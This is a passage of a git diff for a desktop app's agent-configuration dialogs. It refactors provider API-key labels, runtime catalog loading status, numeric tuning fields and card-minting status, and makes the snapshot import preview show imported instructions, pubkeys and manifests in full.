+        label="Environment variables"
+        onChange={handleEnvVarsChange}
+        requiredKeys={advancedRequiredEnvKeys}
+        value={config.env_vars}
+      />
+      {numericDescriptors.length > 0 ? (
+        <NumericTuningFields
+          descriptors={numericDescriptors}
+          envVars={config.env_vars}
+          inheritedEnvVars={bakedEnvMap}
+          onEnvVarChange={handleNumericEnvVarChange}
+        />
+      ) : null}
+    </>
+  );
+
   const dependentContent = (
     <>
       {providerFieldVisible && apiKeyEnvVar ? (
         <div className={blockClassName}>
           <PersonaProviderApiKeyField
             disabled={false}
+            envVarName={apiKeyEnvVar}
             inheritedLabel={
               apiKeyFileSatisfied
                 ? "Set in runtime config"
@@ -754,11 +781,7 @@ export function AgentConfigFields({
             }
             isInherited={apiKeyInherited}
             isRequired={!apiKeyInherited && apiKeyValue.length === 0}
-            label={
-              effectiveProvider === "anthropic"
-                ? "Anthropic API Key"
-                : "OpenAI API Key"
-            }
+            label={getProviderApiKeyLabel(effectiveProvider) ?? "API Key"}
             onValueChange={(value) =>
               onConfigChange({
                 ...config,
@@ -869,6 +892,7 @@ export function AgentConfigFields({
 
       {showAdvancedFields ? (
         <div className={cn(blockClassName, "space-y-3")}>
+          <CardMintKeyCue envVars={config.env_vars} />
           <button
             aria-expanded={advancedOpen}
             className={cn(
@@ -907,38 +931,12 @@ export function AgentConfigFields({
                       : PROGRESSIVE_FIELDS_TRANSITION
                   }
                 >
-                  <EnvVarsEditor
-                    fileSatisfiedKeys={advancedFileSatisfiedEnvKeys}
-                    hiddenKeys={apiKeyEnvVar ? [apiKeyEnvVar] : []}
-                    inheritedRows={bakedGenericRows}
-                    inheritedRowsLabel="build"
-                    label="Environment variables"
-                    onChange={handleEnvVarsChange}
-                    requiredKeys={advancedRequiredEnvKeys}
-                    value={Object.fromEntries(
-                      Object.entries(config.env_vars).filter(
-                        ([k]) => k !== BUZZ_AGENT_THINKING_EFFORT,
-                      ),
-                    )}
-                  />
+                  {advancedEditorBlock}
                 </motion.div>
               ) : null}
             </AnimatePresence>
           ) : advancedOpen ? (
-            <EnvVarsEditor
-              fileSatisfiedKeys={advancedFileSatisfiedEnvKeys}
-              hiddenKeys={apiKeyEnvVar ? [apiKeyEnvVar] : []}
-              inheritedRows={bakedGenericRows}
-              inheritedRowsLabel="build"
-              label="Environment variables"
-              onChange={handleEnvVarsChange}
-              requiredKeys={advancedRequiredEnvKeys}
-              value={Object.fromEntries(
-                Object.entries(config.env_vars).filter(
-                  ([k]) => k !== BUZZ_AGENT_THINKING_EFFORT,
-                ),
-              )}
-            />
+            advancedEditorBlock
           ) : null}
         </div>
       ) : null}
diff --git a/desktop/src/features/agents/ui/AgentConfigPanel.tsx b/desktop/src/features/agents/ui/AgentConfigPanel.tsx
index 3236b4d808..67c544257c 100644
--- a/desktop/src/features/agents/ui/AgentConfigPanel.tsx
+++ b/desktop/src/features/agents/ui/AgentConfigPanel.tsx
@@ -137,6 +137,8 @@ function provenanceSentence(
       return "From ACP session";
     case "globalDefault":
       return "Inherited from global defaults";
+    case "harnessDefault":
+      return "Inherited from harness definition";
   }
 }
 
diff --git a/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx b/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx
index 5425131448..12702f45ac 100644
--- a/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx
+++ b/desktop/src/features/agents/ui/AgentDefinitionDialog.tsx
@@ -32,6 +32,7 @@ import {
   personaBehaviorDraftValid,
 } from "./personaBehaviorDraft";
 import {
+  ADVANCED_FIELDS_MOTION_TRANSITION,
   AUTO_MODEL_DROPDOWN_VALUE,
   AUTO_PROVIDER_DROPDOWN_VALUE,
   BLOCK_BUILD_HIDDEN_PROVIDER_IDS,
@@ -42,6 +43,7 @@ import {
   getDefaultPersonaRuntime,
   getPersonaModelOptions,
   getPersonaProviderOptions,
+  getProviderApiKeyLabel,
   getRuntimePersonaModelOptions,
   NO_RUNTIME_DROPDOWN_VALUE,
   runtimeSupportsLlmProviderSelection,
@@ -99,7 +101,7 @@ type AgentDefinitionDialogProps = {
   error: Error | null;
   isPending: boolean;
   runtimes: AcpRuntimeCatalogEntry[];
-  runtimesLoading?: boolean;
+  runtimeCatalogStatus?: "loading" | "ready" | "error";
   onOpenChange: (open: boolean) => void;
   onSubmit: (
     input: CreatePersonaInput | UpdatePersonaInput,
@@ -117,11 +119,6 @@ export type AgentDefinitionSubmitOptions = {
   publishCatalogUpdates: boolean;
 };
 
-const ADVANCED_FIELDS_MOTION_TRANSITION = {
-  duration: 0.18,
-  ease: [0.23, 1, 0.32, 1],
-} as const;
-
 export function AgentDefinitionDialog({
   open,
   title,
@@ -131,13 +128,14 @@ export function AgentDefinitionDialog({
   error,
   isPending,
   runtimes,
-  runtimesLoading = false,
+  runtimeCatalogStatus = "ready" as const,
   onOpenChange,
   onSubmit,
   publishCatalogUpdatesOnSave = false,
   createRunSection,
   createSubmitBlocked = false,
 }: AgentDefinitionDialogProps) {
+  const runtimesLoading = runtimeCatalogStatus === "loading";
   const [displayName, setDisplayName] = React.useState("");
   const [aiDefaultsOpen, setAiDefaultsOpen] = React.useState(false);
   const aiDefaultsTriggerRef = React.useRef<HTMLButtonElement>(null);
@@ -397,11 +395,7 @@ export function AgentDefinitionDialog({
     (runtime.trim().length > 0 && runtimeCanChooseLlmProvider) ||
     blankRuntimeModelProviderEditable;
   const trimmedProvider = provider.trim();
-  // Required credential env keys for this runtime + provider combination.
-  // Used to show required markers on the LLM provider label and amber
-  // locked rows in the env vars editor.
-  // File-layer config for the selected runtime (e.g. goose config.yaml).
-  // Used to silence requirements already satisfied there.
+  // Required credential env keys and file-layer config; silences requirements satisfied in the file layer.
   const { data: runtimeFileConfig } = useRuntimeFileConfigQuery(runtime, {
     enabled: open,
   });
@@ -907,14 +901,11 @@ export function AgentDefinitionDialog({
               topLevelSecretEnvVar ? (
                 <PersonaProviderApiKeyField
                   disabled={isPending}
+                  envVarName={topLevelSecretEnvVar}
                   isInherited={apiKeyIsInherited}
                   inheritedLabel={apiKeyInheritedLabel}
                   isRequired={apiKeyIsRequired}
-                  label={
-                    effectiveProvider === "anthropic"
-                      ? "Anthropic API key"
-                      : "OpenAI API key"
-                  }
+                  label={getProviderApiKeyLabel(effectiveProvider) ?? "API key"}
                   onValueChange={(next) => {
                     setEnvVars((prev) => ({
                       ...prev,
@@ -1022,6 +1013,8 @@ export function AgentDefinitionDialog({
                       model={model}
                       modelTuningRuntimeId={runtime}
                       namePoolText={namePoolText}
+                      catalogStatus={runtimeCatalogStatus}
+                      selectedRuntime={selectedRuntime}
                       onBehaviorDraftChange={(nextBehaviorDraft) => {
                         setHasUserChanges(true);
                         setBehaviorDraft(nextBehaviorDraft);
diff --git a/desktop/src/features/agents/ui/AgentDialog.tsx b/desktop/src/features/agents/ui/AgentDialog.tsx
index dc608da489..a875770b38 100644
--- a/desktop/src/features/agents/ui/AgentDialog.tsx
+++ b/desktop/src/features/agents/ui/AgentDialog.tsx
@@ -34,7 +34,7 @@ type AgentDialogCreateProps = {
   definitionError: Error | null;
   isDefinitionPending: boolean;
   runtimes: AcpRuntimeCatalogEntry[];
-  runtimesLoading: boolean;
+  runtimeCatalogStatus: "loading" | "ready" | "error";
   onSubmitDefinition: (
     input: CreatePersonaInput | UpdatePersonaInput,
     intent: AgentCreateIntent,
@@ -68,7 +68,7 @@ type AgentDialogDefinitionEditProps = {
   error: Error | null;
   isPending: boolean;
   runtimes: AcpRuntimeCatalogEntry[];
-  runtimesLoading?: boolean;
+  runtimeCatalogStatus?: "loading" | "ready" | "error";
   onOpenChange: (open: boolean) => void;
   onSubmit: (
     input: CreatePersonaInput | UpdatePersonaInput,
@@ -125,7 +125,7 @@ function AgentCreateDialogRouter({
   definitionError,
   isDefinitionPending,
   runtimes,
-  runtimesLoading,
+  runtimeCatalogStatus,
   onSubmitDefinition,
 }: AgentDialogCreateProps) {
   const [runDraft, setRunDraft] = React.useState(emptyWhereToRunDraft);
@@ -166,7 +166,7 @@ function AgentCreateDialogRouter({
         }}
         open
         runtimes={runtimes}
-        runtimesLoading={runtimesLoading}
+        runtimeCatalogStatus={runtimeCatalogStatus}
         submitLabel={copy.submitLabel}
         title={copy.title}
       />
diff --git a/desktop/src/features/agents/ui/AgentIdentityCard.tsx b/desktop/src/features/agents/ui/AgentIdentityCard.tsx
index 6f13a84ae8..b0668616ae 100644
--- a/desktop/src/features/agents/ui/AgentIdentityCard.tsx
+++ b/desktop/src/features/agents/ui/AgentIdentityCard.tsx
@@ -77,7 +77,12 @@ export function AgentIdentityCard({
             {modelLabel}
           </span>
         ) : null}
-        {statusBadge}
+        {/* pointer-events-auto: the overlay button above has pointer-events-none
+            on this container, but the status badge itself (a sibling of the button
+            in z-order) needs hover so the restart diff tooltip can fire. */}
+        {statusBadge ? (
+          <div className="pointer-events-auto">{statusBadge}</div>
+        ) : null}
       </div>
     </div>
   );
diff --git a/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx b/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx
index 79d1e9a790..f7ee098833 100644
--- a/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx
+++ b/desktop/src/features/agents/ui/AgentInstanceEditDialog.tsx
@@ -11,6 +11,7 @@ import {
   useStartManagedAgentMutation,
   useUpdateManagedAgentMutation,
 } from "@/features/agents/hooks";
+import { useAgentAccessOwnerOnlyQuery } from "@/features/agents/useAgentAccessOwnerOnly";
 import { isManagedAgentActive } from "@/features/agents/lib/managedAgentControlActions";
 import type {
   ManagedAgent,
@@ -26,6 +27,7 @@ import { Input } from "@/shared/ui/input";
 import { setManagedAgentAutoRestart } from "@/shared/api/tauriManagedAgents";
 import { EditAgentAdvancedFields } from "./EditAgentAdvancedFields";
 import {
+  ADVANCED_FIELDS_MOTION_TRANSITION,
   AUTO_PROVIDER_DROPDOWN_VALUE,
   BLOCK_BUILD_HIDDEN_PROVIDER_IDS,
   CUSTOM_PROVIDER_DROPDOWN_VALUE,
@@ -62,9 +64,10 @@ import {
   type RuntimeModelProviderSelection,
 } from "./runtimeModelProviderSelection";
 import { AgentCreationPreview } from "./AgentCreationPreview";
+import { OwnerOnlyAccessField } from "./OwnerOnlyAccessField";
 import type { EnvVarsValue } from "./EnvVarsEditor";
 import { useRequiredCredentialState } from "./useRequiredCredentialState";
-import { CreateAgentRespondToField } from "./RespondToField";
+import { RunOnSummarySection } from "./RunOnSummarySection";
 import { PersonaDropdownField } from "./PersonaDropdownField";
 import {
   MODEL_DISCOVERY_LOADING_VALUE,
@@ -75,7 +78,10 @@ import {
   getBakedModelInheritLabel,
   getBakedProviderInheritLabel,
 } from "./bakedEnvHelpers";
-import { getProviderApiKeyEnvVar } from "./agentConfigOptions";
+import {
+  getProviderApiKeyEnvVar,
+  getProviderApiKeyLabel,
+} from "./agentConfigOptions";
 import { useAgentDialogDefaults } from "./useAgentDialogDefaults";
 import { AgentAiDefaultsNotice } from "./AgentAiDefaults";
 import { AgentDefaultsDialog } from "./AgentDefaultsDialog";
@@ -90,11 +96,6 @@ import {
   usePendingHarnessSelection,
 } from "./addCustomHarness";
 
-const ADVANCED_FIELDS_MOTION_TRANSITION = {
-  duration: 0.18,
-  ease: [0.23, 1, 0.32, 1],
-} as const;
-
 export function AgentInstanceEditDialog({
   agent,
   initialFocus,
@@ -266,16 +267,10 @@ export function AgentInstanceEditDialog({
     return runtimeSupportsLlmProviderSelection(matched?.id ?? "");
   }, [runtimes, originalAgentCommand]);
 
-  // The runtime id that will actually be active after submit. When inheriting,
-  // resolve from the LINKED PERSONA's runtime — that is what will run once the
-  // override is cleared. Deriving from agent.agentCommand here is wrong for a
-  // pinned agent that just toggled "Inherit runtime from template": the override
-  // (e.g. a Claude pin) is still present on the record, so it would resolve to
-  // the old pin instead of the persona's runtime, hiding required credentials.
-  // Fall back to the agent.agentCommand dual-match (command path, then id) only
-  // when there is no linked persona or its runtime is unset. This single
-  // prospective id feeds BOTH the block-save gate (requiredEnvKeys) and the
-  // submit path so they never disagree on which runtime is being saved.
+  // The runtime id active after submit. Inheriting resolves from the LINKED PERSONA's runtime
+  // (that is what runs once the override is cleared, not the current override).
+  // Falls back to dual-match (command path, then id) when no persona or its runtime is unset.
+  // This single prospective id feeds BOTH the block-save gate and submit so they always agree.
   const prospectiveRuntimeId = React.useMemo(() => {
     if (!inheritHarness) {
       return selectedRuntime?.id ?? selectedRuntimeId;
@@ -307,6 +302,15 @@ export function AgentInstanceEditDialog({
   const llmProviderFieldVisible =
     runtimeSupportsLlmProviderSelection(prospectiveRuntimeId);
 
+  const prospectiveRuntime = runtimes.find(
+    (r) => r.id === prospectiveRuntimeId,
+  );
+  const runtimeCatalogStatus = runtimesQuery.isLoading
+    ? ("loading" as const)
+    : runtimesQuery.isError
+      ? ("error" as const)
+      : ("ready" as const);
+
   // One-shot focus: when the dialog opens from a card deep-link, scroll and
   // focus the relevant field. The effect re-runs when `llmProviderFieldVisible`
   // changes so a provider-field focus request fires once the field materializes.
@@ -339,9 +343,8 @@ export function AgentInstanceEditDialog({
     return () => cancelAnimationFrame(id);
   }, [open, initialFocus, agent.pubkey, llmProviderFieldVisible]);
 
-  // Provider + env to PERSIST on submit — also fed to the credential gate so
-  // gate, saved record, and spawn snapshot all agree on one resolved value.
-  // See resolveInheritedRuntimeSubmission for the inherit/transition contract.
+  // Provider + env to PERSIST on submit — also fed to the credential gate so gate, saved record,
+  // and spawn snapshot all agree on one resolved value. See resolveInheritedRuntimeSubmission.
   const inheritedSubmission = React.useMemo(
     () =>
       resolveInheritedRuntimeSubmission({
@@ -376,12 +379,8 @@ export function AgentInstanceEditDialog({
     inheritedEnvVars: inheritedEnvVarsForAdvanced,
   } = useAgentDialogDefaults({ inheritedEnvVars, open });
 
-  // Runtime/provider-required credential state, derived from the PROSPECTIVE
-  // post-submit runtime — see the hook for the inherit-transition rationale.
-  // Pass globalProvider so the hook uses it as a fallback when the per-agent
-  // provider is empty (global-provider-only configs must surface required keys).
-  // Pass globalEnvVars so keys satisfied by global config are excluded from
-  // requiredEnvKeys and do not block Save (display and gate agree).
+  // Runtime/provider-required credential state for the PROSPECTIVE post-submit runtime.
+  // globalProvider/globalEnvVars: fallback for empty per-agent provider; keys satisfied globally don't block Save.
   const { requiredEnvKeys, fileSatisfiedEnvKeys, requiredEnvKeyMissing } =
     useRequiredCredentialState({
       open,
@@ -394,6 +393,9 @@ export function AgentInstanceEditDialog({
     });
 
   const { data: bakedEnvKeys } = useBakedBuildEnvKeysQuery({ enabled: open });
+  const { data: agentAccessOwnerOnly } = useAgentAccessOwnerOnlyQuery({
+    enabled: open,
+  });
 
   // Merge global env as the base layer so credential keys satisfied via global
   // config (e.g. ANTHROPIC_API_KEY) are available to model discovery. Use
@@ -907,7 +909,6 @@ export function AgentInstanceEditDialog({
             )}
           </div>
           <div className="space-y-5">
-            {/* Agent name */}
             <div className="space-y-1.5">
               <label
                 className="text-sm font-medium text-foreground"
@@ -935,16 +936,15 @@ export function AgentInstanceEditDialog({
                 />
               </div>
             </div>
-
-            {/* Who can send instructions */}
-            <CreateAgentRespondToField
+            <OwnerOnlyAccessField
+              accessLocked={agentAccessOwnerOnly === true}
               allowlist={respondToAllowlist}
               disabled={updateMutation.isPending}
               mode={respondTo}
               onAllowlistChange={setRespondToAllowlist}
               onModeChange={setRespondTo}
-              variant="persona"
             />
+            <RunOnSummarySection backend={agent.backend} />
 
             {/* Provider (runtime) */}
             <div className="space-y-1.5">
@@ -1061,14 +1061,11 @@ export function AgentInstanceEditDialog({
             {llmProviderFieldVisible && topLevelSecretEnvVar ? (
               <PersonaProviderApiKeyField
                 disabled={updateMutation.isPending}
+                envVarName={topLevelSecretEnvVar}
                 isInherited={apiKeyIsInherited}
                 inheritedLabel={apiKeyInheritedLabel}
                 isRequired={apiKeyIsRequired}
-                label={
-                  effectiveProvider === "anthropic"
-                    ? "Anthropic API Key"
-                    : "OpenAI API Key"
-                }
+                label={getProviderApiKeyLabel(effectiveProvider) ?? "API Key"}
                 onValueChange={(next) => {
                   setEnvVars((prev) => ({
                     ...prev,
@@ -1200,6 +1197,8 @@ export function AgentInstanceEditDialog({
                       parallelism={parallelism}
                       provider={effectiveProvider}
                       requiredEnvKeys={advancedRequiredEnvKeys}
+                      catalogStatus={runtimeCatalogStatus}
+                      selectedRuntime={prospectiveRuntime}
                       systemPrompt={systemPrompt}
                       onAcpCommandChange={setAcpCommand}
                       onAgentArgsChange={setAgentArgs}
diff --git a/desktop/src/features/agents/ui/AgentManagementDialogs.tsx b/desktop/src/features/agents/ui/AgentManagementDialogs.tsx
index 604bf9f703..b72669e5f6 100644
--- a/desktop/src/features/agents/ui/AgentManagementDialogs.tsx
+++ b/desktop/src/features/agents/ui/AgentManagementDialogs.tsx
@@ -1,4 +1,5 @@
 import { useAgentManagement } from "@/features/agents/useAgentManagement";
+import { AgentCardDialogs } from "./AgentCardViewerDialog";
 import { AgentDialog } from "./AgentDialog";
 import { SecretRevealDialog } from "./SecretRevealDialog";
 
@@ -21,7 +22,7 @@ export function AgentManagementDialogs() {
           }}
           onSubmitDefinition={management.submitCreate}
           runtimes={management.runtimes}
-          runtimesLoading={management.runtimesLoading}
+          runtimeCatalogStatus={management.runtimeCatalogStatus}
         />
       ) : null}
       {management.createdAgent ? (
@@ -50,11 +51,12 @@ export function AgentManagementDialogs() {
           onSubmit={management.submitUpdate}
           open
           runtimes={management.runtimes}
-          runtimesLoading={management.runtimesLoading}
+          runtimeCatalogStatus={management.runtimeCatalogStatus}
           submitLabel="Save changes"
           title="Edit agent"
         />
       ) : null}
+      <AgentCardDialogs />
     </>
   );
 }
diff --git a/desktop/src/features/agents/ui/AgentSnapshotImportDialog.tsx b/desktop/src/features/agents/ui/AgentSnapshotImportDialog.tsx
index 4a9584dfb9..0527565763 100644
--- a/desktop/src/features/agents/ui/AgentSnapshotImportDialog.tsx
+++ b/desktop/src/features/agents/ui/AgentSnapshotImportDialog.tsx
@@ -1,5 +1,5 @@
 import * as React from "react";
-import { AlertCircle, Upload } from "lucide-react";
+import { AlertCircle, Lock, Upload } from "lucide-react";
 
 import type {
   AgentSnapshotImportPreview,
@@ -72,7 +72,7 @@ export function AgentSnapshotImportDialog({
     <Dialog onOpenChange={onOpenChange} open={open}>
       <DialogContent
         aria-describedby={undefined}
-        className="max-w-md"
+        className="max-h-[85vh] max-w-2xl overflow-y-auto"
         data-testid="agent-snapshot-import-dialog"
         showCloseButton={false}
       >
@@ -141,7 +141,7 @@ export function AgentSnapshotImportDialog({
 
 // ── Preview body ──────────────────────────────────────────────────────────────
 
-function PreviewBody({
+export function PreviewBody({
   preview,
   hasMemory,
   memoryLevelLabel,
@@ -159,19 +159,49 @@ function PreviewBody({
       {/* Agent identity */}
       <div className="space-y-1">
         <p className="text-sm font-medium">{preview.displayName}</p>
-        {preview.systemPrompt ? (
-          <p className="line-clamp-3 text-xs text-muted-foreground">
-            {preview.systemPrompt}
-          </p>
-        ) : null}
       </div>
 
+      {/* Locked-card provenance: this file was encrypted to this machine's
+          keys and has been unlocked for review. */}
+      {preview.locked ? (
+        <div
+          className="flex items-start gap-2 rounded-md border border-border bg-muted/40 px-3 py-2 text-sm"
+          data-testid="agent-snapshot-import-locked-notice"
+        >
+          <Lock className="mt-0.5 h-4 w-4 shrink-0" />
+          <p>
+            This card is <strong>locked</strong> — its agent is encrypted to the
+            original owner and agent keys. Your keys unlocked it; the full
+            decrypted payload is shown below.
+          </p>
+        </div>
+      ) : null}
+
       <AgentDefinitionMetadata
         isBuiltIn={preview.isBuiltIn}
         model={preview.model}
         runtime={preview.runtime}
       />
 
+      {/* Portable behavior — never hide executable configuration behind a summary. */}
+      <section
+        className="space-y-2 rounded-md border border-border p-3"
+        data-testid="agent-snapshot-import-behavior"
+      >
+        <div>
+          <p className="text-sm font-medium">Agent instructions</p>
+          <p className="text-xs text-muted-foreground">
+            Review the instructions this agent will follow after import.
+          </p>
+        </div>
+        <pre
+          className="max-h-48 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/60 p-3 text-xs"
+          data-testid="agent-snapshot-import-system-prompt"
+        >
+          {preview.systemPrompt || "No system prompt included."}
+        </pre>
+      </section>
+
       <p className="text-sm text-muted-foreground">
         A new agent will be created with a fresh keypair. The imported agent is
         independent of the source — identity never travels.
@@ -211,9 +241,19 @@ function PreviewBody({
             {preview.sourceAllowlistCount === 1 ? "y" : "ies"})
           </p>
           <p className="text-xs text-muted-foreground">
-            This snapshot includes a source-environment pubkey allowlist. Those
-            identities are not meaningful on your relay.
+            This snapshot includes source-environment pubkeys. Review every key
+            before choosing Keep; Clear is safer when you do not recognize them.
           </p>
+          <ul
+            className="max-h-28 space-y-1 overflow-y-auto rounded bg-muted/60 p-2 font-mono text-xs"
+            data-testid="agent-snapshot-import-allowlist-values"
+          >
+            {preview.sourceAllowlist.map((pubkey) => (
+              <li className="break-all" key={pubkey}>
+                {pubkey}
+              </li>
+            ))}
+          </ul>
           <div className="flex flex-col gap-1.5">
             <label className="flex cursor-pointer items-center gap-2">
               <input
@@ -242,6 +282,22 @@ function PreviewBody({
           </div>
         </div>
       ) : null}
+
+      <details
+        className="rounded-md border border-border p-3"
+        data-testid="agent-snapshot-import-manifest"
+      >
+        <summary className="cursor-pointer text-sm font-medium">
+          Full embedded manifest
+        </summary>
+        <p className="mt-2 text-xs text-muted-foreground">
+          This is the complete portable payload decoded from the file. Secrets,
+          credentials, and source identity are not part of the snapshot format.
+        </p>
+        <pre className="mt-2 max-h-64 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/60 p-3 text-xs">
+          {preview.manifestJson}
+        </pre>
+      </details>
     </div>
   );
 }
diff --git a/desktop/src/features/agents/ui/AgentsView.tsx b/desktop/src/features/agents/ui/AgentsView.tsx
index 3d1673c365..720d6e62ad 100644
--- a/desktop/src/features/agents/ui/AgentsView.tsx
+++ b/desktop/src/features/agents/ui/AgentsView.tsx
@@ -319,7 +319,13 @@ export function AgentsView() {
           }}
           onSubmitDefinition={personas.handleSubmit}
           runtimes={personas.acpRuntimesQuery.data ?? []}
-          runtimesLoading={personas.acpRuntimesQuery.isLoading}
+          runtimeCatalogStatus={
+            personas.acpRuntimesQuery.isLoading
+              ? "loading"
+              : personas.acpRuntimesQuery.isError
+                ? "error"
+                : "ready"
+          }
         />
       ) : null}
       {agents.agentToAddToChannel ? (
@@ -368,7 +374,13 @@ export function AgentsView() {
           isPending={personas.isPending}
           mode="definition-edit"
           runtimes={personas.acpRuntimesQuery.data ?? []}
-          runtimesLoading={personas.acpRuntimesQuery.isLoading}
+          runtimeCatalogStatus={
+            personas.acpRuntimesQuery.isLoading
+              ? "loading"
+              : personas.acpRuntimesQuery.isError
+                ? "error"
+                : "ready"
+          }
           onOpenChange={(open) => {
             if (!open) {
               personas.setPersonaDialogState(null);
diff --git a/desktop/src/features/agents/ui/CardMintComposerChip.tsx b/desktop/src/features/agents/ui/CardMintComposerChip.tsx
new file mode 100644
index 0000000000..158ec9a07b
--- /dev/null
+++ b/desktop/src/features/agents/ui/CardMintComposerChip.tsx
@@ -0,0 +1,78 @@
+import { Loader2, Sparkles, X } from "lucide-react";
+
+import {
+  dismissCardMintJob,
+  useCardMintJobs,
+  viewMintedCardJob,
+} from "@/features/agents/cardMintStore";
+import { Shimmer } from "@/shared/ui/Shimmer";
+
+/**
+ * Composer-rail status for background card mints: a live "Minting card…"
+ * row while the ~2–3 minute mint runs, then a clickable "card is ready" row
+ * (opens the viewer) or a dismissible failure row. Rendered inside the
+ * composer dock's bottom activity rail next to agent-working/typing rows.
+ */
+export function CardMintComposerChip() {
+  const jobs = useCardMintJobs();
+  if (jobs.length === 0) return null;
+
+  return (
+    <div
+      className="flex min-w-0 flex-col justify-center gap-0.5"
+      data-testid="card-mint-composer-chip"
+    >
+      {jobs.map((job) => {
+        if (job.phase === "minting") {
+          return (
+            <span
+              className="flex min-w-0 items-center gap-1.5 text-xs text-muted-foreground"
+              data-testid="card-mint-status-minting"
+              key={job.jobId}
+            >
+              <Loader2 className="h-3.5 w-3.5 shrink-0 animate-spin opacity-70" />
+              <Shimmer className="-my-px truncate py-px">
+                {`Minting ${job.input.agentName}’s card… (takes a few minutes)`}
+              </Shimmer>
+            </span>
+          );
+        }
+        if (job.phase === "done") {
+          return (
+            <button
+              className="flex min-w-0 items-center gap-1.5 text-xs text-primary hover:underline"
+              data-testid="card-mint-status-done"
+              key={job.jobId}
+              onClick={() => viewMintedCardJob(job.jobId)}
+              type="button"
+            >
+              <Sparkles className="h-3.5 w-3.5 shrink-0" />
+              <span className="truncate">
+                {`${job.input.agentName}’s card is ready — view it`}
+              </span>
+            </button>
+          );
+        }
+        return (
+          <span
+            className="flex min-w-0 items-center gap-1.5 text-xs text-destructive"
+            data-testid="card-mint-status-error"
+            key={job.jobId}
+          >
+            <span className="truncate">
+              {`Minting ${job.input.agentName}’s card failed`}
+            </span>
+            <button
+              aria-label="Dismiss failed mint"
+              className="shrink-0 opacity-70 hover:opacity-100"
+              onClick={() => dismissCardMintJob(job.jobId)}
+              type="button"
+            >
+              <X className="h-3.5 w-3.5" />
+            </button>
+          </span>
+        );
+      })}
+    </div>
+  );
+}
diff --git a/desktop/src/features/agents/ui/CardMintKeyCue.tsx b/desktop/src/features/agents/ui/CardMintKeyCue.tsx
new file mode 100644
index 0000000000..5239c9e66c
--- /dev/null
+++ b/desktop/src/features/agents/ui/CardMintKeyCue.tsx
@@ -0,0 +1,29 @@
+/**
+ * Always-visible cue shown in Agent Defaults when a global `OPENAI_API_KEY`
+ * row exists (nonblank).  The Advanced section is collapsed by default, so
+ * the `keyAnnotations` hint on that row is invisible until the user opens it
+ * — this cue bridges the gap by surfacing the information at the decision
+ * point.
+ *
+ * Renders nothing when `OPENAI_API_KEY` is absent or blank.
+ */
+export function CardMintKeyCue({
+  envVars,
+}: {
+  envVars: Record<string, string>;
+}) {
+  const isSet =
+    "OPENAI_API_KEY" in envVars &&
+    (envVars.OPENAI_API_KEY ?? "").trim().length > 0;
+  if (!isSet) return null;
+
+  return (
+    <p
+      className="text-xs text-muted-foreground"
+      data-testid="card-mint-key-cue"
+    >
+      Card-minting key <span className="font-mono">OPENAI_API_KEY</span> is set
+      under Advanced → Environment variables.
+    </p>
+  );
+}
diff --git a/desktop/src/features/agents/ui/EditAgentAdvancedFields.tsx b/desktop/src/features/agents/ui/EditAgentAdvancedFields.tsx
index 8412792a2c..6b42b10497 100644
--- a/desktop/src/features/agents/ui/EditAgentAdvancedFields.tsx
+++ b/desktop/src/features/agents/ui/EditAgentAdvancedFields.tsx
@@ -1,15 +1,33 @@
+import * as React from "react";
 import { cn } from "@/shared/lib/cn";
 import { Input } from "@/shared/ui/input";
 import { Textarea } from "@/shared/ui/textarea";
 import { EnvVarsEditor, type EnvVarsValue } from "./EnvVarsEditor";
 import {
+  CARD_MINT_KEY_ANNOTATIONS,
   PERSONA_FIELD_CONTROL_CLASS,
   PERSONA_FIELD_SHELL_CLASS,
   PERSONA_LABEL_OPTIONAL_CLASS,
 } from "./agentConfigOptions";
 import type { AgentPersona } from "@/shared/api/types";
-import { BuzzAgentModelTuningFields } from "./buzzAgentModelTuningFields";
-import { isBuzzAgentRuntime } from "./buzzAgentConfig";
+import type { AcpRuntimeCatalogEntry } from "@/shared/api/types";
+import {
+  BuzzAgentModelTuningFields,
+  NumericTuningFields,
+} from "./buzzAgentModelTuningFields";
+import {
+  isBuzzAgentRuntime,
+  BUZZ_AGENT_THINKING_EFFORT,
+} from "./buzzAgentConfig";
+import {
+  EDIT_AGENT_PARALLELISM_HELP,
+  parallelismCapHint,
+} from "../lib/agentParallelism";
+import {
+  deriveNumericDescriptors,
+  structuredEnvKeys,
+  type RuntimeCatalogStatus,
+} from "../lib/agentConfigCore";
 
 export function EditAgentAdvancedFields({
   acpCommand,
@@ -28,6 +46,8 @@ export function EditAgentAdvancedFields({
   parallelism,
   provider,
   requiredEnvKeys,
+  catalogStatus = "ready",
+  selectedRuntime,
   systemPrompt,
   onAcpCommandChange,
   onAgentArgsChange,
@@ -53,7 +73,7 @@ export function EditAgentAdvancedFields({
   model?: string;
   /**
    * The actual/prospective runtime id used to decide whether to show the
-   * buzz-agent model-tuning fields. Uses `prospectiveRuntimeId` from
+   * buzz-agent effort-tuning field. Uses `prospectiveRuntimeId` from
    * EditAgentDialog — the resolved runtime, not the "inherit"/"custom" sentinel.
    */
   modelTuningRuntimeId: string;
@@ -61,6 +81,24 @@ export function EditAgentAdvancedFields({
   /** Active LLM provider id — forwarded to BuzzAgentModelTuningFields for effort filtering. */
   provider?: string;
   requiredEnvKeys: readonly string[];
+  /**
+   * Lifecycle status of the runtime catalog query. Controls the numeric-tuning
+   * gate and hidden-key behaviour:
+   * - `loading` or `error`: no structured controls; keys not hidden — saved
+   *   values stay visible as generic rows.
+   * - `ready`: descriptors derived from `selectedRuntime` (empty when the
+   *   runtime has no numeric env-var fields).
+   *
+   * Defaults to `"ready"` so existing callers without the catalog query do not
+   * need to change.
+   */
+  catalogStatus?: RuntimeCatalogStatus;
+  /**
+   * The catalog entry for the prospective runtime. Drives descriptor-based
+   * numeric tuning fields (max output tokens / context limit / max rounds).
+   * When undefined after the catalog has settled, no numeric controls render.
+   */
+  selectedRuntime?: AcpRuntimeCatalogEntry;
   systemPrompt: string;
   onAcpCommandChange: (value: string) => void;
   onAgentArgsChange: (value: string) => void;
@@ -70,6 +108,45 @@ export function EditAgentAdvancedFields({
   onAutoRestartChange: (value: boolean) => void;
   onSystemPromptChange: (value: string) => void;
 }) {
+  // Numeric tuning descriptors — gate on catalog status so that loading/error
+  // never collapses to "no controls": keys stay visible as generic rows.
+  const numericDescriptors = React.useMemo(
